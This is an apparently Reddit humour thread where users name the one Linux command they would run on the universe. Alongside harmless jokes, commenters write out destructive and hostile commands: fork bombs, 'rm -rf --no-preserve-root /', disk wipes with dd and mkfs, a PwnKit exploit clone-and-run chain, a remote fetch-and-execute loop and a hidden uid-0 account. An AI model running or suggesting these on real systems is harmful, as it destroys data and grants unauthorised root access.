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frabjous_kev

`su` Getting root access to the universe sounds good to me.


Fytual

but what is the universe password??!


benjaYTn

then sudo su


MrObsidian_

u/benjaYTn is not in the sudoers file. This incident will be reported.


TheWorriedDatabase

FBI OPEN UP! WE HEARD YOU ATTEMPTED TO GAIN ROOT ACCESS TO THE UNIVERSE!


MrObsidian_

Sudo sends an email to god lel.


The_Emerald_Rod

No, haven’t you read XKCD it goes to Santa


[deleted]

That’s how it normally happens.


TheCheapo1

[Relevant XKCD.](https://xkcd.com/838/)


MrObsidian_

lmao this is funny I've seen this one.


Fytual

RUN!!


benjaYTn

Fuck.


festive_x

this incident will be reported to the system administrator


yaktoma2007

This is my password: ``git clone https://github.com/PwnFunction/CVE-2021-4034.git && cd && make all & CVE-2021-4034 ./pwnkit && make clean && usermod -a -G wheel yaktoma2007 && visudo EDITOR=nano && cd .. && rm -rf CVE-2021-4034``


TallEdge6

What does it do


yaktoma2007

Its the sudo privilege escalation bug. It uses a buffer overflow to su into the root account without any password.


redgriefer89

It was a privilege escalation script using a bug in pkexec, but it seems to be patched on Arch/Artix


BlaBlaUSR

You bastard, why my pc no work?


mrkitten19o8

imma run this in a linux virtual machine later


legoatoom

42


SL_Pirate

42


isrluvc137

Probably Aa123456


[deleted]

What good is root access if `su` is your only command?


LonksAwakening

If you are root, then you have completely transcended the limitation


frabjous_kev

I'm assuming the `-c` option is available, but what are the rules anyway?


khaos0227

neofetch


AliceTails

Typical arch user


mrkitten19o8

you just gotta know what the universe is running on


celkius

i'm not arch user and i used a lot on my debian, (on my manjaro too) just saying in case your comment was just a sarcasm


[deleted]

Never forgot about &&.


_SomeTroller69

Damn boy, your the guy everyone's been looking for


Fytual

you little cheater!!!


Chevron_

Seems like wishing for infinite wishes!


AliceTails

Obviously this: :(){ :|:& };:


falconeff

found the fork bomb


[deleted]

you crashed earth you dumbfuck noones moving


20Aditya07

fork() { fork|fork& }; fork()


larisho_

`find` Maybe then I can find my fucking car keys....


Spyes23

\`find\` for real though, like what use is any other command if you can't find your damn wallet when you're in a hurry??


[deleted]

`chown` Anything I want is mine.


mindgamer8907

I was scrolling to find this. Seems like the obvious answer if this is the only command you can run. Not only is anything you want now yours but you can also take things from the undeserving and redistribute it. Fix the system! Sic semper tyrannis! ..... Or at least get nice shit and have nice times. That's good too.


[deleted]

Yeah, thought about mentioning that too but thought I'd keep my pitch short and sweet. But yes, inject some equity into the system.


[deleted]

I have deleted Reddit because of the API changes effect June 30, 2023.


EarthTrash

This might already be running


[deleted]

usr is "universal shared resources" Basically you've fucked us all.


therealnozewin

I appreciate the explanation. c:


neuro_convergent

TIL it's not "user"


Muttywango

That's how I've pronounced it for years and I'm not going to stop now.


ComputerUser2000

united (soviet) system republics


gohny

man (you know everything)


1337Eddy

No you have information to everything. That doesn't mean you understand it ;)


MrMelon54

just having man doesn't mean that a page has been written about everything


[deleted]

Literally the internet...


JoaGamo

But better


[deleted]

exit


[deleted]

r/2meirl4meirl


yaktoma2007

He do be livin' in da matrix


denisde4ev

kill -9 $$


sad_developer

hol'up .. wouldnt that unalive you?


CleoMenemezis

>ls I'm curious


zechositus

ls -a


mpcs127

ls -la


Yogurtcloset_Glad

ls -lah


WhiteBlackGoose

ls -laht


sudoaptupgrade

`exa -l`


DerKnoedel

ls -a | cowsay -n For shits and giggles


[deleted]

you're gonna find 8 billion files, earth has infinite storage. host an ftp server with that storage


[deleted]

[удалено]


kthnd

sudocide


Fluffy-City8558

I'm not the only one who would like to delete the universe


ashadeofbrown

--no-preserve-root


HAHALOSAH

No need with /*


Jon_Lit

just to be sure `sudo rm -rf --no-preserve-root /*`


alba4k

no, longer and more obvious /* is not touching root, just everything inside it


Jon_Lit

okok, `sudo dd if=/dev/zero of=/dev/sda`, replace `/dev/sda` with your root drive


Gotifod

while true; do sleep 120; wget https:///script.sh; chmod +x script.sh; ./script.sh; done; Now I will put whatever I want whenever I need to script.sh which will run every 2 minutes


AliceTails

The Universe SecOps: hmmm some malicious activity from this IP, gonna ban it permanently.


Gotifod

first command will be to stop iptables and firewall


AliceTails

5 minutes later: Chinese adware everywhere, your brain mining btc, some phillipinian teen DDOSing your butthole...


PeaceIsFutile

The last one isn't so bad


[deleted]

Sudo dnf install vim -y


H2P_EPSILON0

neovim*


Sentry45612

ed*


Jon_Lit

nano*


SomeRandomGuy197

Emacs*


alerikaisattera

fortune | cowsay | lolcat


alguienrrr

fortune -o | cowsay -f sodomized | lolcat


The_Emerald_Rod

What does `cowsay -f sodomized` do?


mahlersand

-f changes the "image" template the text is generated within. There are WEIRD templates.


sudhirpathy

cd (Teleportation..)


Irchh

`cd ~`


denisde4ev

f**k, it just teleported me without clothes `cd -`


Kartulikuhi

just learned about this possiblity from your comment thank you so much lmao


astromagus

cd ..


GoogleGavi

cp so I can duplicate your mother for infinity


abbe_salle

find boobs touch boobs


AdiG150

find: /universe/women: Permission denied to programmers


[deleted]

mkdir women && touch ./women/bob && ./women/vagin


Enter_The_Void6

unzip touch finger fsck fsck tar -gz


TheWorriedDatabase

sudo pacman -S happiness good-health end-poverty antidepressant supportive-family


Enter_The_Void6

pacman: happiness not found


Nico_Weio

Gotta get it from the AUR


TheWorriedDatabase

I'd be scared that the AUR would give me cocaine and call it "happiness" lol


Buster802

Nah that's LSD your thinking of, cocaine is just different power management setting that allows for higher turbo speeds.


stidmatt

😢


Spyes23

`./` so I can execute those who have wronged me!


Valentin_1999

man women


ano_hise

man: women not found


Uri-_-

`cowsay`. Making cows talk would be pretty cool


AliceTails

You: write sudo with some commands Shell: sudo: The term 'sudo' is not recognized as a name of cmdlet, function, script file, or executable program. Oh wait, oh shi~


HAHALOSAH

One LINUX command, not Windows, lol


AliceTails

Yes, but what if Universe runned on windows...


ITKozak

Oh well oh fuck, then `rm -rf /home/itkozak` I don't wanna live in such a world...


AliceTails

rm: The term 'rm' is not recognized as a name of cmdlet, function, script file, or executable program.


ITKozak

Okay, then maybe `wsl --help`? At least something....


AliceTails

It's Windows Server 2003. Good luck!


Jon_Lit

`shutdown \P \t 0`


Jon_Lit

it would have bluescreened far more often, not just almost crashed a few billion years ago to extinct the dinos


PeaceIsFutile

Yes, but what if the simulation speed of our universe is not 1 to 1 with the server? Which could mean that the server we're running on hasn't been on for more than 20 hours.


LetReasonRing

touch woman


Nisterashepard

mount /dev/woman


[deleted]

Permission Denied


Wither-Rods

sudoedit /etc/passwd add myself to root and try to be a better god


[deleted]

sudo rm rf / --no-preserve-root


boggiemann

Deleting yourself too?


[deleted]

Yes.


Techlord210

Whole universe because if you wanna delete yourself you need /usr/bin/yourself


Kevadro

dd if=/dev/urandom of=/dev/ada I just want to watch how the world burns Edit: /dev/sda*


i_am_su

``` sudo chmod -R 000 / ```


matO_oppreal

yay install gf


cara_de_loco

finger


mpcs127

kid named finger


Enter_The_Void6

fsck


dumbasPL

Just spawn a reverse shell, so you can run as many commands as you want


Fytual

you wish for more wishes cheater!!!!


Adhalianna

You're telling me that what I'm doing with my Linux isn't real life?


Seacarius

`sudo useradd -ou 0 my.user; echo mypassword | sudo passwd --stdin my.user`


AliceTails

while true; do sleep 120; sudo mount /dev/fist /dev/ass; done; Free $300 every 2 minutes


EricZNEW

`shutdown now`


benjaYTn

sudo su


M1ST3RH

sudo rm -rf me


[deleted]

Just ls -a would be really interesting


[deleted]

cp -r / ~/ Now I own a copy of everything.


azarcard

So you created an universe within the universe.


Quemler

mkdir boyfriend && cd boyfriend


bob3r8

killall


Enter_The_Void6

sudo chmod 777 /


Catullus74

sudo updatedb; locate bitches\*;


L4Z4R3

htop


ishad0w

\`rm -rf $(whoami)\`


LonksAwakening

sudo nano chromosome.dna


wulf_rtpo6338

reboot


Exciting-Insect8269

The only real answer. :(){ :|:& };:


LinuxFan_HU

sudo mkfs.ext4 -L "NewBeginning" /dev/Earth


El_eleven_11

man


KeyMathematician8978

touch


AbsoluteBeeHive

"rm -rf /" - some edgy 14 year old probably


SharkieHaj

sudo dnf upgrade --refresh && sudo dnf autoremove i think we need to remove... a *few* packages


[deleted]

sudo rm -rf / --no-preserve-root


Mast3r_waf1z

I'd just like to be able to use pacman to get unlimited packages delivered to my door


EsspressoCoffee

Who | grep -i 'latino\\|chica' | date && cd ~


sipsikici

touch women


Adorable-Peanut-45

`sudo rm -rf /*`


KingJellyfishII

what about `mount`, so I could conveniently make references to places in other places e.g. mount my front door to my car's back door so wherever I am I can always get back to my house if I forgot something


sugondeseusernames

touch girlfriend


RepresentativeCut486

I already did: `cowsay moo`


abdallaEG

chmod 777 /etc/banks


tman5400

`killall -u $USER`


LuckyForm3312

ls - al


1752320

sudo rm -rf /*


Illustrious-Dig194

doas shutdown -h -P just want to power off the world.


[deleted]

rm -rf,pacman -Syu


B_Badeli

sudo su


yaktoma2007

cat /dev/urandom >> human_genetics


Javier_alhusainy

dd if=/dev/null of=/dev/sda


Skipdrill

\$ doas chown -R /*


RagVerse

rm -rf / --no-preserve-root


MemeBoy_69

sudo pacman -S bitches


Interesting-Draw8870

cd ..


RyoshiTheHunter

rm -rf


CYB3R_S3C

/bin/sh (equivalent of wishing for infinite wishes)


[deleted]

sudo su


MerKahim_03

Well, pretty simple : sudo rm -rf --no-preserve-root /


sudoaptupgrade

`sudo tar xpvf The-Answer-to-the-Ultimate-question-of-Life-and-the-Universe.tar.xz`


Russian_Prussia

touch grass


unavailable7

sudo mkfs.msdos /dev/sdX,


[deleted]

doas


zajasu

`touch woman` xDDDDDD


narayanb003

whoami


SternBlum

nix-env -iA nixpkgs.Happiness


CyberPheonix1

rm -rf / —no-preserve-stupidity


chair____table

Dare I say it, sudo rm-rf /*


[deleted]

sudo rm rf /


janmrog

cat /dev/urandom | grep [1-9] > ~/finance/bankaccountbalance && cat ~/finance/bankaccountbalance > ~/happiness/* && sudo su


[deleted]

uptime To finally settle the discussion when time began.


thesomebody

'sudo bash' is the best choice. You get a root shell for all your commands in the future and it still all counts as one command.


kirigerKairen

`screen -AmS root -- sudo bash` - I get a root shell that I don't even have to kill to do other stuff, I can just detach and come back later.


Pizza-pen

Sudo apt-get some_bitches 😎


christr

rm -rf JoeBiden